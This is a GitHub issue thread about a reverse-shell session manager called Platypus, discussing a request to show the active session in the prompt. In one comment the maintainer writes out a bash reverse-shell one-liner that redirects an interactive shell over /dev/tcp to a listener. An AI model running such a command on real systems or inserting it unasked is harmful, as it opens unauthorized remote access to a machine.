Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding a display current prompt setting #13

Closed
felixguerrero12 opened this issue Mar 24, 2019 · 3 comments
Closed

Adding a display current prompt setting #13

felixguerrero12 opened this issue Mar 24, 2019 · 3 comments
Assignees
Labels
enhancement New feature or request

Comments

@felixguerrero12
Copy link

felixguerrero12 commented Mar 24, 2019

Description

Adding a current session prompt setting showing what session the user is interacting with.

Reproduce

  1. go run platypus.go
  2. Run 0.0.0.0 8080
    ...

Expected behavior

Golden Duck - f4f2b36f04c6e688fb210df160e5acd8: ls
magic1 magic2 magic3

Current behavior

NONE

Screenshots/Terminal log

Environments

  • Standard

--- I am going to attempt at the submitted bug reports. These are not bugs but rather additional capability.

@ariadarkkkis
Copy link

Hi, Awesome work Thanks. Can you fix this please?
#7

@WangYihang WangYihang added the enhancement New feature or request label Mar 27, 2019
@WangYihang WangYihang self-assigned this Mar 27, 2019
@WangYihang
Copy link
Owner

Actually, when you type Interact command, there will be a prompt that means you are now interacting with a puppet client.

The output text with blue color

2019/03/26 20:16:11 Interacting with [203689d7c5178b86667c7b7a753bc1c8]

image

If we print the prompt words, the output will be confusing when we are using vim (and other tools which need full interactive tty, like htop), BTW, if the stderr of the reverse shell terminal be redirected to Platypus, the output will be confusing too.

bash -c 'bash -i >/dev/tcp/127.0.0.1/8080 0>&1 2>&1 &'

so, to fit your requirements, I have added this into the todo list. ( maybe add an option to help users switch from this two mode.

WangYihang added a commit that referenced this issue Mar 1, 2020
@WangYihang
Copy link
Owner

The task is down. @ariadarkkkis
image

WangYihang added a commit that referenced this issue Apr 17, 2021
WangYihang added a commit that referenced this issue Aug 12, 2021
WangYihang added a commit that referenced this issue Aug 13, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

3 participants